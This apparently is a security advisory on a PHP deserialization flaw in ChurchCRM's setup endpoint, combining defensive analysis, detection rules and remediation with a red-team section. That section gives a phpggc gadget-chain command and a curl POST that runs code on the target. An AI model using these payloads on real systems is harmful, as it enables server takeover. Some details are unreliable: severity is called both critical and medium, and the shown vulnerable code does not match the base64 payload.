CVE-2025-11938

Executive Summary

CVE-2025-11938 is a critical deserialization vulnerability discovered in ChurchCRM, an open-source church management system, affecting versions up to and including 5.18.0. The flaw resides in the setup/routes/setup.php file, where unsanitized user input passed to the DB_PASSWORD, ROOT_PATH, and URL parameters is directly deserialized. This allows an unauthenticated remote attacker to inject and execute arbitrary PHP objects, potentially leading to remote code execution (RCE), data exfiltration, or full server compromise. The attack complexity is high due to the need for a specific gadget chain, but a public proof-of-concept (PoC) exists, increasing the risk. The vendor has not responded to disclosure, and no official patch is available, leaving all installations vulnerable.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the ChurchCRM application. The risk is amplified by the lack of a vendor patch, forcing administrators to rely on manual mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires specific conditions (e.g., a valid gadget chain).
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: High (due to public PoC and lack of patch).

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection (CWE-502) in the setup/routes/setup.php file. The application uses unserialize() on user-supplied input from the DB_PASSWORD, ROOT_PATH, and URL parameters without proper validation or sanitization. When an attacker crafts a malicious serialized PHP object, the unserialize() function will instantiate that object, potentially triggering magic methods like __wakeup(), __destruct(), or __toString() that can execute arbitrary code.

The attack flow:

1. The attacker sends a POST request to setup/routes/setup.php with a crafted serialized payload in one of the vulnerable parameters.
2. The server calls unserialize() on the payload, creating a PHP object.
3. If the object's class has a dangerous magic method (e.g., a gadget chain from a library like PHPGGC), the attacker can achieve RCE.

The high complexity stems from the need to identify a usable gadget chain within the application's dependencies. However, with a public PoC, this barrier is lowered.

Vulnerable vs. Patched Code

Vulnerable Code (setup/routes/setup.php):

<?php
// Vulnerable: Direct unserialize of user input
$db_password = unserialize($_POST['DB_PASSWORD']);
$root_path = unserialize($_POST['ROOT_PATH']);
$url = unserialize($_POST['URL']);
// ... rest of setup logic
?>

Patched Code (Hypothetical):

<?php
// Patched: Use json_decode instead of unserialize
$db_password = json_decode($_POST['DB_PASSWORD'], true);
$root_path = json_decode($_POST['ROOT_PATH'], true);
$url = json_decode($_POST['URL'], true);
// Or validate input strictly
if (is_string($_POST['DB_PASSWORD'])) {
    $db_password = $_POST['DB_PASSWORD'];
} else {
    // Handle error
}
?>

Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable ChurchCRM instance (<= 5.18.0).
• A PHP gadget chain (e.g., using PHPGGC for common libraries like Monolog, Guzzle, etc.).

Exploit Steps:

1. Identify a usable gadget chain. For example, using PHPGGC with Monolog:

   phpggc Monolog/RCE1 system 'id' | base64
   

2. Send the payload to the vulnerable endpoint:

   curl -X POST http://target/setup/routes/setup.php \
        -d "DB_PASSWORD=$(phpggc Monolog/RCE1 system 'id' | base64 -w0)"
   

3. The server will execute the id command and return the output.

Note: The exact gadget chain depends on the libraries installed with ChurchCRM. The public PoC likely uses a chain from a common dependency.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /setup/routes/setup.php with parameters containing base64-encoded or serialized data (e.g., O:, a:, s:).
• Look for unusual PHP error logs indicating unserialize() failures.

Mitigation:

• Apply a virtual patch using a WAF (e.g., ModSecurity) to block requests containing serialized PHP objects in the vulnerable parameters.
• Restrict access to the /setup/ directory via .htaccess or firewall rules.
• If possible, replace unserialize() with json_decode() in the source code.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /setup/routes/setup.php with parameters containing O:, a:, or base64-encoded strings.
  • Outbound connections to unknown IPs or domains (potential C2).
• File System:
  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified .htaccess files.
• Logs:
  • PHP error logs with unserialize() errors.
  • Web server logs with unusual POST payloads.

Detection Engineering

YARA Rule

rule CVE_2025_11938_Deserialization {
    meta:
        description = "Detects serialized PHP objects in HTTP POST requests targeting ChurchCRM setup.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11938"
    strings:
        $serialized = /(O:[0-9]+:"|a:[0-9]+:\{)/ nocase
        $vulnerable_path = "/setup/routes/setup.php" nocase
    condition:
        $vulnerable_path and $serialized
}

Sigma Rule

title: ChurchCRM Deserialization Attempt (CVE-2025-11938)
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2025-11938 via serialized PHP objects in POST requests.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/setup/routes/setup.php'
        cs-uri-query|contains:
            - 'DB_PASSWORD='
            - 'ROOT_PATH='
            - 'URL='
    condition: selection
falsepositives:
    - Legitimate setup operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11938 ChurchCRM Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/setup/routes/setup.php"; http_uri; content:"DB_PASSWORD="; http_client_body; pcre:"/(O:[0-9]+:\"|a:[0-9]+:\{)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Restrict access to the /setup/ directory using a firewall or .htaccess:

   <Directory "/var/www/html/setup/">
       Require all denied
   </Directory>
   

2. Code Fix: Replace unserialize() with json_decode() or strict input validation in setup/routes/setup.php.
3. WAF Rule: Deploy a virtual patch to block serialized payloads.
4. Monitor: Enable detailed logging for the /setup/ endpoint and review for anomalies.
5. Upgrade: Watch for an official patch from ChurchCRM. If none arrives, consider migrating to an alternative solution.

Valters IT
DevSecOps & Cyber Threat Intelligence